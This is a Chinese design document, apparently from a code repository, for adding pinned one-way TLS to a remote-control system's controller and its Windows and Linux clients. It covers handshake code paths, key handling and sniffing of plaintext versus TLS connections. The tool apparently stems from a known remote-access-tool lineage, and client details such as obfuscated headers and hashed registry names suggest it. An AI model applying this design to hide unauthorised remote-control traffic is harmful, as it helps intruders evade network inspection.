- **已选 Schannel(Windows 原生 SSPI)**:零第三方依赖/零额外 DLL 部署,`secur32.lib`/`crypt32.lib` 均为系统库(`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接)。
- 信任锚(PEM/DER 正文,来自注册表或文件)经 `CryptStringToBinaryA` 解码 → `CertCreateCertificateContext` → 内存 `HCERTSTORE`;握手后 `CertGetCertificateChain` 把服务端证书链到该信任锚,`dwErrorStatus == 0` 才放行(含时间有效性)。**严格钉扎**:链引擎用 `hExclusiveRoot` 只信任该 store,排除系统根库,否则公共 CA 签发的证书也能通过。**fail-closed**。
- 握手凭据:`SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS`,`grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT`(与 Go 端 `MinVersion: TLS 1.2` 对齐)。
- 单向 TLS:不提供客户端证书;客户端身份仍由隧道内登录承担。
### 6.3 连接层封装
在 socket 建立后、应用协议首包前插入 TLS 握手(`IOCPClient::ConnectServer`,`m_bConnected` 置位前);`ReceiveData`/`SendTo` 改走 `TlsChannel` 会话。所有出站连接(主连接 + 子连接)统一遵循 TLS 开关,因此子连接同样被加密——服务端按连接检测,天然支持。实现:`client/TlsChannel.{h,cpp}`,接入点 `client/IOCPClient.{h,cpp}`。
### 6.4 关键:无静默降级(fail-closed)
**证书文件存在但握手失败(证书不匹配 / 中间人)时,客户端必须报错并放弃连接,禁止回退到明文。** 否则攻击者可制造降级。这必须写进实现与测试。
### 6.5 实现要点:Schannel 流模式 `DecryptMessage` 的缓冲重组
Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的那段 `SECBUFFER_DATA`
**重组**为 4 段输出,而不是就地解密到原偏移:
| 索引 | 类型 | 内容 |
|---|---|---|
| `bufs[0]` | `SECBUFFER_STREAM_HEADER` | TLS 记录头(5) + 显式 nonce(8) |
| `bufs[1]` | `SECBUFFER_DATA` | **明文** |
| `bufs[2]` | `SECBUFFER_STREAM_TRAILER` | 认证标签 |
| `bufs[3]` | `SECBUFFER_EXTRA` | 下一条记录的剩余密文(如有) |
因此客户端 `Recv` 必须从 `bufs[1].pvBuffer`/`bufs[1].cbBuffer` 取明文、`EXTRA` 从 `bufs[3]`
取。若误用 `bufs[0]`(记录头+nonce)或从原缓冲首字节取数,会把 TLS 记录头 `17 03 03 …`
当作明文交给协议解析器(表现为 `Unknown header`)。`Send` 方向相反:`EncryptMessage` 用
`STREAM_HEADER/DATA/TRAILER` 三段布局,本就正确。这一处是联调阶段实际踩到的、唯一的方向性
不对称 bug,已修复。
### 6.6 Linux 客户端实现(OpenSSL,2026-10-28)
- **选型**:OpenSSL(`libssl`)。Linux 构建早已因 `libsign.a` 链接 `libcrypto`,只多链一个 `OpenSSL::SSL`,不引入新的运行时依赖包(同一 OpenSSL 3 包提供 `libcrypto.so.3` / `libssl.so.3`)。
- **代码组织**:`client/TlsChannel.h` 按平台分派(`_WIN32` → Schannel,`__linux__ && !__ANDROID__` → OpenSSL),Windows 分支内容不变;实现文件为 `client/TlsChannelLinux.cpp`。`YAMA_TLS_CHANNEL` 宏标注「本平台有 TLS 通道」,`IOCPClient` 用它替代原先的 `#ifdef _WIN32`,因此主连接与子连接共用同一接线点。macOS/Android 不定义该宏,维持明文。
- **语义对齐**:`TLS 1.2` 钉扎(min=max,与 `SP_PROT_TLS1_2_CLIENT` 及两套服务端一致);单向 TLS、不提供客户端证书、不校主机名、不做吊销检查;`SSL_VERIFY_PEER` + 只含信任锚的 `X509_STORE`(不含系统根库,严格钉扎),握手内完成链校验,失败即断开(fail-closed)。
- **缓冲差异**:OpenSSL 自己管理记录缓冲,不需要 Schannel 的 `m_raw`/`m_pending`;一次 `SSL_read` 交付不完的明文留在 `SSL` 内部,接收线程在 `select` 前用 `SSL_pending() || SSL_has_pending()` 优先消费,否则剩余字节会被 2 秒 `select` 超时卡住。
- **下发/撤销**:`COMMAND_TLS_ENABLE`(166) 的 PEM 正文写入 `~/.config/ghost/yama-ca.pem`(目录 0700、文件 0600、临时文件 + rename 原子替换);`COMMAND_TLS_DISABLE`(167) 删除该文件(含程序目录同名回退文件)。写入前先用 OpenSSL 解析一遍,不是合法证书就整包拒绝并保留原状态。
- **热切换(与 Windows 的唯一语义差异)**:落盘后立即 `TlsReload()` 重建 `SSL_CTX` 并更新开关,然后断开主连接、由外层重连循环用新传输方式重连——**主控端菜单点下去几秒内就生效**,不需要重启客户端(Windows 客户端仍需重启进程)。
- 状态不再是 `std::call_once`,而是 `g_stateMtx` 保护的 `{g_tlsEnabled, g_tlsError, g_tlsCtx}`;`TlsEnabled()/TlsLoadError()/TlsReload()/Handshake()` 都在这把锁下读写。
- **已建立的连接不受影响**:`SSL_new` 会递增 `SSL_CTX` 引用计数,`TlsReload` 释放旧 ctx 后旧的 `SSL` 仍然安全(已用「连接保持打开时撤销锚」验证)。
- **只在传输方式真的变了(明文↔TLS)时才重连**;仅换锚(例如证书轮换,仍是 TLS)不打断现有会话,新锚从下一条新连接生效。
- 热重载遇到坏锚时**保留原状态**并记日志,不把正在工作的客户端打死(下次启动仍按 fail-closed 语义)。
- 重连由 `DataProcess`(接收线程)只置 `g_needReconnect` 标志,由主心跳线程 `Disconnect()` 后走外层重连循环——避免在接收线程里关 socket 与主线程发送竞争。
- **代价**:此刻若正处于远程桌面/文件传输会话,主连接重建会中断该会话(子连接随之失效)。这是「立即生效」的固有代价。
- **上报**:登录 `szReserved[19]`(`RES_TLS`)填 `TlsEnabled() ? 1 : 0`,主控端主机信息显示 Y/N。热切换后重连会重新登录,登录前用 `RefreshLoginTls()` 刷新该字段,主控端在线列表的 TLS 列随之翻转。
## 7. 兼容矩阵
| 客户端 | 服务端行为 | 结果 |
|---|---|---|
| 老客户端(无证书概念) | 明文路径 | 与现状完全一致 |
| 新客户端 · 无证书 | 明文路径 | 与老客户端行为一致(默认) |
| 新客户端 · 有证书 | TLS 路径 | 全量加密(主 + 子连接) |
服务端 TLS 未配置(`YAMA_TLS_CERT/KEY` 为空)时,一切与现状一致,TLS 客户端握手自然失败(fail-closed)。
## 8. 安全考量
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。即对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成。
- **TLS 不提供**(单向):客户端证书身份——仍由隧道内登录承担;对「未颁证客户端」不强制加密(这是本设计刻意保留的兼容性,也是薄弱点:部署安全性取决于最弱客户端)。
- **明文前导**:TLS ClientHello 前几字节明文(协议固有),仅暴露「这是 TLS 客户端」,不含业务数据;客户端不设 SNI(连接目标是 IP,无域名)。
- **子连接**:客户端统一走 TLS,screen/terminal/file 子连接一并加密;对应 Measure 2 的「源 IP 绑定」降级为纵深防御,不再是唯一防线。
- **证书轮换**:重签服务端证书后,需向已颁证客户端重新投递新信任锚(或在证书到期前提前过渡)。自签名建议 `-days 3650`,到期前统一更换。
- **协议强度**:`MinVersion` 固定 TLS 1.2+,套件用 Go 默认安全集(`tls.Config` 默认已排除弱套件)。
## 9. 部署与运维
### 9.1 生成证书
自签名(最简,客户端信任锚即 `yama-server.crt`):
```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout yama-server.key -out yama-server.crt \
-days 3650 -subj "/CN=yama-server"
```
或自建 CA + 签服务端证书(便于轮换,客户端信任锚为 `ca.crt`):
```bash
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 3650 -subj "/CN=yama-ca"
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=yama-server"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650
```
### 9.2 服务端
```bash
YAMA_TLS_CERT=/etc/yama/server.crt \
YAMA_TLS_KEY=/etc/yama/server.key \
./server_linux_amd64 ...
```
### 9.3 客户端「颁发 + 重启」
首选:把信任锚 PEM 正文写入注册表值 `Software\<exehash>\settings\tls_cert`(REG_SZ),重启客户端:
```powershell
$pem = Get-Content -Raw 'C:\path\yama-ca.pem'
New-Item -Path 'HKCU:\Software\<exehash>\settings' -Force | Out-Null
Set-ItemProperty -Path 'HKCU:\Software\<exehash>\settings' -Name 'tls_cert' -Value $pem -Type String
```
- `<exehash>` = 客户端 exe 全路径小写后的 FNV 哈希(`common/iniFile.h` 的 `GetRegistryName()`)。
- 客户端以服务(SYSTEM)运行时,注册表落在会话用户的 `HKEY_USERS\<SID>`(`GetCurrentUserRegistryKey()`)。
- REG_SZ 直接存 PEM 正文(含换行);客户端动态读取,不受 `iniFile::GetStr` 512 字节固定缓冲限制。
兼容旧方式:把信任锚复制到客户端目录并命名为 `yama-ca.pem`(或经 `settings.ini` `[settings] tls_cert` 指向),重启客户端。
Linux 客户端:把信任锚放到 `~/.config/ghost/yama-ca.pem`(或程序同目录 `yama-ca.pem`),重启客户端生效。MFC 主控端的「启用/停用 TLS 传输」指令对选中主机下发时也会写/删该文件,**且 Linux 客户端会立即热切换并重连**(无需重启,见 §6.6);Windows 客户端仍需重启。
移除注册表值(或删除文件)并重启即退回明文。远程下发/撤销:Windows 经 `COMMAND_TLS_ENABLE/DISABLE` 写注册表(重启生效),Linux 写/删上述配置文件(立即生效)。
## 10. 测试计划
1. **检测单元**:`isTLSClientHello` 对 `0x16 0x03 … 0x01`(TLS 1.2/1.3 ClientHello)/ `POST ` / `Shine` / 混淆 `HELL`(首两字节恰好 `0x16 0x03` 但 `b[5]==0x00`)/ 短于 6 字节 等判定的单测(已实现 `server/go/server/tls_test.go`)。
2. **TLS 未配置**:不设 `YAMA_TLS_*` → 纯明文,行为与现状一致。
3. **明文回归**:老客户端 + 新客户端(无证书)均走明文,登录/屏幕/终端/文件全链路不回归。
4. **TLS 加密**:新客户端(有证书)→ 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰。
6. **fail-closed**:客户端有证书但服务端证书不匹配 / 中间人 → 客户端报错断开,**不**回退明文。
7. **握手超时 / 限流**:恶意慢握手被 `ReadTimeout` + per-IP 限流压制。
## 11. 分期与回滚
- **阶段 1(Go 服务端,本期优先)**:`Config` + `tls.Config` + `acceptLoop` 检测回放;明文路径零改动。可独立上线、独立验证——用 `openssl s_client` 或 Go 测试客户端即可联调 TLS 链路,无需真实客户端配合。
- **阶段 2(Windows 客户端)**:证书检测 + TLS 栈 + fail-closed。
- **阶段 2b(Linux 客户端)**:OpenSSL 实现,复用同一接线点与协议语义(2026-10-28 完成)。
- **阶段 3(MFC 服务端 `server/2015Remote`,延后)**:与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
- **回滚**:服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文;客户端删除注册表 `tls_cert` 值(或 `yama-ca.pem` 文件)即回明文。
## 12. 待定问题
1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**(见 §6.2,2026-10-13 落地)。
2. ~~信任锚文件固定名(`yama-ca.pem`)是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**(见 §6.1/§9.3,2026-10-14)。
3. 是否同步把「TLS 内去掉 XOR」列为后续精简项(当前保留 XOR,换取零协议改动)。
4. ~~Linux / macOS / Android 客户端的 TLS 接入排期~~ → **Linux 已接入(OpenSSL,2026-10-28)**;macOS / Android 待定(macOS 需 Security.framework 或自带 OpenSSL,Android 需在 NDK 内构建 OpenSSL)。
+280
View File
@@ -0,0 +1,280 @@
# MFC 服务端(server/2015Remote)单向 TLS 加密设计
> 版本:v0.3 · 状态:**已实施并验证(屏幕 + 终端联调通过)** · 日期:2026-10-15
> 上游依赖:`docs/TransportTLS_Design.md`(Go 服务端 + Windows 客户端,已实现并验证)。
> 本期范围:**MFC 服务端 `server/2015Remote` 的传输层加密**(加载证书+私钥、握手、加解密、新旧客户端并存)。
> 显式排除(本次不做,但须预埋接缝):① MFC 的 MCP 式配置 UI;② 「向在线主机下发是否启用加密传输」的指令;③ 客户端运行时热切换。
>
> **已拍板的三个决策(2026-10-14,见 §12)**:
> 1. 握手采用 **方案 A(专用短命阻塞线程)**;
> 2. 身份文件采用 **PEM + CNG(`CertPath` + `KeyPath`)**,与 Go 服务端共用同一对密钥;私钥须为 **PKCS#8**;
> 3. 配置 **新建 `[tls]` 节**(`Enabled` / `CertPath` / `KeyPath`)。
>
> 需求原文(已确认):
> 1. MFC 服务端有一个类似 MCP 的配置,可选启用传输层加密;启用时需指定一对密钥(证书 + 私钥);
> 2. 启用后,可向在线主机发送「是否启用加密传输」的指令 —— **UI 与新指令属后期内容**;
> 3. **新旧客户端都须支持**:同一端口同时兼容明文(老客户端)与 TLS(新客户端)。
## 1. 目标与范围
### 目标
- MFC 服务端在同一个 TCP 端口(6543)上,按连接自动区分「明文客户端」与「TLS 客户端」,路由到各自路径。
- TLS 客户端解密后的字节流 == 同一套应用协议(flag 帧 + XOR + zstd),**协议解析/解压/解码零改动**。
- 老客户端(无 TLS 概念)行为不变、零改动。
- 服务端「启用 TLS」是**配置驱动**的:未配证书 → 纯明文;配了证书 → 新旧并存。
### 非目标(Non-goals,本次不做)
- 不做 **mTLS / 客户端证书**:单向 TLS,客户端身份仍由隧道内登录(V1 `PwdHmac` / V2 `ECDSA`)承担。
- 不做「TLS 内去掉 XOR」的二次精简(与上游设计一致,保留 XOR 换取零协议改动)。
- 不做 **UI**:不新增配置对话框、不加「启用加密」复选框、不加证书/私钥路径选择控件。
- 不做 **「向在线主机下发启用/撤销加密」指令**:不下发信任锚、不发加密开关指令、不改客户端运行时状态。
- 不做 KCP/UDP 传输(`IOCPKCPServer`)的 TLS 接入(本期只做 TCP 设备端口;KCP 另行评估)。
## 2. 现状与复用(IOCP 数据流 + 四个接缝)
MFC 服务端 TCP 接收链路:`OnAccept`(`IOCPServer.cpp:1144`)`accept` 后 `AllocateContext`(`:1289`)分配 `CONTEXT_OBJECT`,绑定 IOCP,`PostRecv`(`:1268`)投递首个 `WSARecv`(`:1278`,收进 `wsaInBuf`→`szBuffer[PACKET_LENGTH]`,`:1215`)。收满后 `HandleIO(IORead)`(`:746`)→ `OnClientReceiving`(`:892`)→ `ParseReceivedData`(`:796`)。
原始 socket 字节在整套流程里各只有**一个入口**和**一个出口**,这是 TLS 能做成「过滤器」而非「改写」的根本原因:
| 接缝 | 位置 | 作用 |
|---|---|---|
| ① 收包咽喉点 | `IOCPServer.cpp:805` `InCompressedBuffer.WriteBuffer(szBuffer, dwTrans)` | 原始字节进入协议解析的**唯一**位置(`szBuffer` 全文件仅此一处消费) |
| ② 发包咽喉点 | `IOCPServer.cpp:1000` `WSASend(...wsaOutBuffer...)` | `OutCompressedBuffer` 上行的**唯一**位置 |
| ③ 嗅探点 | `OnAccept`→`PostRecv`;`OnClientInitializing`(`:790`)现为空桩 `return TRUE` | 首次收到数据处,可挂 ClientHello 判定 |
| ④ 状态字段 | `Server.h:332` `CONTEXT_OBJECT`(`szBuffer`/`wsaInBuf`/`InCompressedBuffer`/`InDeCompressedBuffer`/`OutCompressedBuffer`/`Parser` 等,`:359-398`) | 新增 TLS 会话指针 + 标志位 |
**关键结论(本设计的基础)**:TLS 作为「透明传输包装」,加解密插在 ①② 两处,③ 做新旧分流,④ 加一个 per-connection 状态。`ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码,**全部不动**。这与上游 Go 服务端「`tls.Conn` 满足 `net.Conn`、parser 零改动」是同一策略(见上游 §2.3)。
## 3. 总体方案
### 3.1 按连接嗅探(与 Go 服务端同款判定)
首次收到数据后,只看 `szBuffer` 前 6 字节:
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + ClientHello)→ TLS 路径;
- 其它 → 明文路径(老客户端透明,一行不改)。
判据与 Go 端 `isTLSClientHello`(`0x16 0x03` 且 `b[5]==0x01`)**完全一致**,理由也一致:客户端会随机混淆魔数头(见上游 §2.1),明文前两字节可能恰为 `0x16 0x03`,但字节 5 对混淆头恒非 `0x01`,故三重判据误判率趋近于零。
### 3.2 数据路径 = 条件过滤器
```
OnAccept → PostRecv
│
首次 IORead 完成(嗅探 szBuffer[0..5])
┌─────┴─────┐
明文(其它) TLS(0x16 0x03 .. 0x01)
│ │
ParseReceivedData TLS 握手(AcceptSecurityContext)
(现状,零改动) │ 成功
│ ▼
│ 握手后:IORead → DecryptMessage → 明文 → InCompressedBuffer.WriteBuffer
│ 发送:OutCompressedBuffer → EncryptMessage → WSASend
└────────── 同一套 Parse/Encode/解压/压缩 ──────────┘
```
明文连接与握手后的 TLS 连接,下游共用同一套 `Parse`/`Encode`/解压/压缩。唯一差别是 ①② 两处各多一个 `if (tls) 加解密 else 直通` 分支。
## 4. 配置设计(含未来 UI/指令的预埋)
### 4.1 配置面(本次定键名,UI 后期加)
MFC 服务端配置走 `THIS_CFG`(`config`/`iniFile`,`GetInt`/`GetStr(section,key,default)`,见 `2015Remote.cpp:481-543` 用法)。新增 `[tls]` 节,三键(**已拍板 PEM + CNG**,见 §5.6、§12):
```ini
[tls]
Enabled = 0 ; 是否启用传输层加密(0/1)
CertPath = "" ; 服务端证书路径(PEM,-----BEGIN CERTIFICATE-----)
KeyPath = "" ; 服务端私钥路径(PEM PKCS#8,-----BEGIN PRIVATE KEY-----)
```
三键都是**短字符串路径**,不落 PEM 正文,故不受 `iniFile::GetStr` 512 字节固定缓冲限制(该限制只在「存 PEM 正文」时才成问题,客户端已为此单独绕行,见上游 §6.1)。
### 4.2 未来不返工的四条硬约束(本次预埋)
1. **配置单一访问器**:TLS 开关与身份路径只经一个中心对象 `ServerTlsIdentity` 暴露:`Load(config&)` / `IsEnabled()` / `IsReady()` / `IsLoadError()` / `Cred()`。未来 UI 改配置、指令查询「我当前是否加密态」都走这同一个入口,禁止代码里散落 `GetInt("Enabled")`。
2. **身份加载做成可重入,绝不用 `std::call_once`**:`ServerTlsIdentity::Load(config&)` 每次调用重新加载证书+私钥并重建凭据句柄。本次启动时调一次;未来「轮换证书 / 开关切换」可再调。这是对客户端 `TlsEnabled()` 用 `std::call_once` 一次读死、不可热切换(见上游 §6.1 与 `docs/tls-cert-push-revoke-deferred` 相关记忆)的**主动规避**。
3. **「我是否 TLS 就绪」是全局只读态,与每条连接的 TLS 态分开**:`ServerTlsIdentity::IsEnabled()`(全局配置态)/ `IsReady()`(身份加载成功)与 per-connection 的「该连接是否走 TLS/握手是否完成」是两个概念。未来指令/UI 只碰前者。
4. **按连接嗅探本身就是为混合上线准备的**:服务端开 TLS 后,没切换的旧主机照样明文连、已切换的走 TLS。未来「下发开启指令」只改客户端行为,服务端传输层不用动。
## 5. 服务端改动详述
### 5.1 `CONTEXT_OBJECT` 字段(`Server.h`,加 4 项)
```cpp
// 每连接传输层状态(单向 TLS,见 §5.2);跨线程(握手线程写 TLS_Ready,工作线程读)用 atomic 保序
enum ServerTlsState {
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
TLS_Plain = 1, // 明文客户端,直通现有解析路径
TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
};
ServerTlsSession* tls = nullptr; // 懒分配;握手完成后承载加解密状态
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
bool bSendPending = false; // 发送在途抑制(见 §5.5);受 SendLock 保护
void FreeTls(); // delete tls; tls = NULL;(定义在 ServerTlsSession.cpp,避免本头拖入 Schannel)
```
生命周期见 §5.7:`InitMember` 时复位 `tlsState`/`tlsPreClassify`/`tls`,析构 / 回收时 `FreeTls()`。
### 5.2 嗅探与预分类缓冲
首次 `IORead` 完成时(`OnClientReceiving` 开头,`ParseReceivedData` 之前)判定:
- `dwTrans >= 6`:看 `szBuffer[0..5]`,一次定死明文/TLS;
- `dwTrans < 6`(TCP 把 ClientHello 头分片,极罕见但须正确):把这 `dwTrans` 字节追加进 `tlsPreClassify`,`PostRecv` 继续收,直到攒够 6 字节再判定。判定后清空 `tlsPreClassify`。
明文连接判定后,把 `tlsPreClassify`(如有)+ 本次 `szBuffer` 一并按现状喂给 `ParseReceivedData`,保证分片字节不丢。
### 5.3 握手(已拍板方案 A)
服务端握手需 `AcceptSecurityContext`(Schannel 入站),与客户端 `InitializeSecurityContext`(出站)**不通用**,需新写。数据阶段的 `DecryptMessage`/`EncryptMessage` 是同步缓冲变换,与异步收发包天然兼容,两个方案都复用。
**方案 A:专用握手线程(阻塞式,已实施)**
- 首次 `IORead` 判定为 TLS 后,此刻 `WSARecv` 已因完成回调结束、socket 上**无 pending overlapped 操作**,可安全转交一个短命线程做阻塞握手。
- 线程内用**与客户端 `TlsChannel::Handshake` 同型的阻塞 Schannel 循环**跑 `AcceptSecurityContext`(`TlsChannel.cpp` 已证明该模式可靠),把已收到的 ClientHello 字节(`tlsPreClassify`,可能是分片)作为初始输入,后续 handshake 航程走阻塞 `recv`/`send`;握手前把 socket 切回阻塞态并设 15s 收发超时。
- 成功 → `tlsState.store(TLS_Ready)`,`PostRecv` 投递首个 `IORead`,回到 IOCP 正常流程;失败 → 关连接(fail-closed,§8)。
- 优点:复用客户端已验证的阻塞 Schannel 代码形态、状态最少;缺点:每个 TLS 连接多一个短命线程(仅在握手期间存活)。
**方案 B:异步状态机(无额外线程,更贴合 IOCP)**
- 握手由 `IORead`/`IOWrite` 完成回调推进:每次回调喂一段握手字节给 `AcceptSecurityContext`,按其返回(`SEC_I_CONTINUE_NEEDED` → 继续收/发;`SEC_E_OK` → 完成)驱动下一动作。
- 优点:无额外线程、与现有 IOCP 事件循环同构;缺点:状态管理明显更重,需把「握手待收/待发/完成」编码进 per-connection 状态。
**已拍板(2026-10-14)**:采用 **方案 A**(简单、复用客户端阻塞 Schannel 经验、风险低)。方案 B 留作后续压测发现短命线程开销不可接受时再演进;二者切换只影响 §5.3,不影响 ①②④ 的过滤器设计。
### 5.4 收包解密(接缝 ①,`ParseReceivedData` 之上)
`OnClientReceiving` 里,明文与 TLS 分叉:
```cpp
int st = ContextObject->tlsState.load(std::memory_order_acquire);
if (st == TLS_Ready) {
// 1) 把 szBuffer[0..dwTrans] 喂给 DecryptMessage,得到明文 plain、长度 n
// 2) 处理 SECBUFFER_EXTRA:多余密文留存到 tls 对象内部缓冲(m_raw),下次续解(见上游 §6.5)
// 3) plain 为空(记录分片未齐)→ PostRecv 继续收;否则 ContextObject->InCompressedBuffer.WriteBuffer(plain.data(), n);
} else {
ContextObject->InCompressedBuffer.WriteBuffer(szBuffer, dwTrans); // 现状,零改动
}
```
即 ① 从「一行直写」变成「条件分支」,明文侧原文不动。解密缓冲重组(`STREAM_HEADER/DATA/TRAILER/EXTRA` 四段布局)已在上游 §6.5 踩过坑、给出正确写法,服务端直接沿用(`ServerTlsSession::Decrypt` 内维护 `m_raw` 续解缓冲)。
### 5.5 发包加密(接缝 ②,`OnClientPreSending` 之上)
`OutCompressedBuffer` 是「可能残留上一轮未发完密文」的可变缓冲:异步 `WSASend` 在途时,新明文由 `WriteContextData` 追加在尾部。因此 `OnClientPreSending`(`IOCPServer.cpp`)**只加密本次新追加的尾部明文**,而非整个缓冲:
1. 追加前记 `oldLen = OutCompressedBuffer.GetBufferLength()`;
2. `WriteContextData` 追加新明文后,`plainLen = totalLen - oldLen`,只对 `GetBuffer(oldLen)` 起的 `plainLen` 字节调用 `tls->Encrypt` 得密文 `wire`;
3. `TruncateBuffer(oldLen)` 回退尾部明文(**不用 `ClearBuffer`**:后者会 `DeAllocateBuffer`,可能 `VirtualFree` 正在被在途 `WSASend` 引用的底层内存),再 `WriteBuffer(wire)` 追加新密文。
这样 `OutCompressedBuffer` 始终保持一串合法 TLS 记录。若把整个缓冲重新加密,会把旧密文二次加密,客户端解密后得到「旧 TLS 记录」→ `Unknown header 17 03 03`。
**发送唤醒的并发抑制(`bSendPending`)**:`OnClientPreSending` 每次 `Send2Client` 若都 `PostQueuedCompletionStatus(IOWrite, 0)`,则每个 `OnClientPostSending(ctx, 0)` 都会对整个缓冲再发起一次 `WSASend`;背靠背小包(终端 `resize → COMMAND_NEXT → resize`)会触发多个并发 `WSASend` 读到同一段可变内存,产出重复/错位密文(客户端 `DecryptMessage` 失败,`WSAGetLastError()` 残留 `6001 = ERROR_DECRYPTION_FAILED`)。故新增 `bool bSendPending`(受 `SendLock` 保护):仅在 `!bSendPending` 时投递 IOWrite 并置位;`OnClientPostSending` 在缓冲排空(最后一个 `WSASend` 完成)或发送失败时清零;`InitMember` 复用对象池时复位。在途 `WSASend` 的完成回调会看到排空后仍残留的新数据并继续发送,无需再投递。后续 `OnClientPostSending` 的部分发送循环照旧——它发送的已是密文字节,逐段 `WSASend` 天然成立。
### 5.6 证书/私钥加载(Schannel 入站凭据,已拍板 PEM+CNG)
`AcquireCredentialsHandle` 取 `SCHANNEL_CRED`(入站)时需一个**已绑定私钥的证书**。已拍板用 **PEM + CNG**(与 Go 端 `YAMA_TLS_CERT/KEY` 同构,服务端与 Go 共用同一对密钥):
- **证书**:`CryptStringToBinaryA(CRYPT_STRING_ANY)` 把 PEM 解为 DER → `CertCreateCertificateContext(X509_ASN_ENCODING)`。
- **私钥(仅 PKCS#8)**:Schannel 入站凭据要求私钥是**「能按名重开」的持久化键**——`NCryptImportKey` 产出的是匿名临时键,绑定 `CERT_NCRYPT_KEY_HANDLE_PROP_ID` 后 Schannel 仍拿不到(`AcquireCredentialsHandle` 返回 `SEC_E_NO_CREDENTIALS` `0x8009030e`)。因此:
1. **导入临时键并导出裸 BLOB**:`NCryptOpenStorageProvider(MS_KEY_STORAGE_PROVIDER)` + `NCryptImportKey(NCRYPT_PKCS8_PRIVATE_KEY_BLOB)` 得临时键(`hProvider` 不能传 NULL——默认提供者解析实测返回 `NTE_INVALID_HANDLE` `0x80090026`,须显式打开 KSP);再 `NCryptSetProperty(NCRYPT_EXPORT_POLICY_PROPERTY=ALLOW_PLAINTEXT_EXPORT|ALLOW_EXPORT)` 后 `NCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB)` 得裸 RSA 私钥 BLOB。
2. **写入持久化键**:`NCryptCreatePersistedKey(BCRYPT_RSA_ALGORITHM, "YamaServerTlsKey", AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG)` → `NCryptSetProperty(BCRYPT_RSAFULLPRIVATE_BLOB)` → `NCryptFinalizeKey`。`NCryptSetProperty` 只认裸 BLOB、不认 PKCS#8(直接设 `NCRYPT_PKCS8_PRIVATE_KEY_BLOB` 实测 `NTE_NOT_SUPPORTED` `0x80090029`)。
3. **按名绑定**:`CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID, CRYPT_KEY_PROV_INFO{ pwszContainerName="YamaServerTlsKey", pwszProvName=MS_KEY_STORAGE_PROVIDER, dwProvType=0, dwKeySpec=AT_KEYEXCHANGE })`。Schannel 经 `CryptAcquireCertificatePrivateKey` 按名在 KSP 里重开该键。
- **入站凭据**:`AcquireCredentialsHandleA("Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND, &SCHANNEL_CRED{ cCreds=1, paCred=&cert, grbitEnabledProtocols=SP_PROT_TLS1_2_SERVER, dwFlags=NO_DEFAULT_CREDS })`。
关键点:**私钥必须是 PKCS#8**(`-----BEGIN PRIVATE KEY-----`);若拿到的是 PKCS#1(`-----BEGIN RSA/EC PRIVATE KEY-----`),用
`openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key` 转换。证书上下文生命周期交给进程级 `g_cert`,持久化键句柄交给 `g_persistedKey`;`FreeIdentity` 里按序 `FreeCredentialsHandle` → `CertFreeCertificateContext` → `NCryptDeleteKey`(`NCryptDeleteKey` 会同时释放句柄,勿再 `NCryptFreeObject`)。
### 5.7 生命周期(context 池化复用)
`CONTEXT_OBJECT` 经 `AllocateContext`(`:1311`)从 `m_ContextFreePoolList` **复用**、`InitMember`(`:1314`)复位。故 TLS 状态必须在 `InitMember` 里清空 `tlsPreClassify`、`FreeTls()`、复位 `tlsState`(`store(TLS_Unclassified)`)与 `bSendPending=false`(避免上次连接残留的在途标志抑制新连接发送),并在 `~CONTEXT_OBJECT`(`Server.h:346`)`FreeTls()`。否则「前一个 TLS 连接的状态漏给下一个明文连接」会直接导致解析错乱。这是唯一需要跨过 `InitMember`/析构两处做的生命周期接线。
### 5.8 明确不动的部分
- `ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码:**零改动**。
- `HeaderParser` / `context`(`context.h`)协议层:**零改动**。
- `OnAccept` / `PostRecv` / `AllocateContext` / `RemoveStaleContext` 主结构:**零改动**(仅新增 TLS 分支与字段复位)。
- KCP / UDP 传输(`IOCPKCPServer`):**零改动**(不在本期范围)。
## 6. 新老客户端兼容矩阵
| 客户端 | 服务端 TLS 状态 | 服务端行为 | 结果 |
|---|---|---|---|
| 老客户端(无 TLS 概念) | 未配置 | 明文路径 | 与现状完全一致 |
| 老客户端 | 已配置 | 嗅探判为明文 → 明文路径 | 与现状完全一致(透明) |
| 新客户端 · 无证书 | 未配置 / 已配置 | 明文路径 | 与老客户端一致(默认) |
| 新客户端 · 有证书 | 已配置 | 嗅探判为 TLS → 握手 → 加密 | 全量加密 |
| 新客户端 · 有证书 | 未配置 | 嗅探判为 TLS → 无证书可握手 → **关连接(fail-closed)** | 拒绝(见 §8) |
## 7. 与未来「下发/撤销指令 + UI」的接缝
本次不实现 UI 与指令,但通过 §4.2 四条约束预留干净接缝。二者未来的分工与依赖:
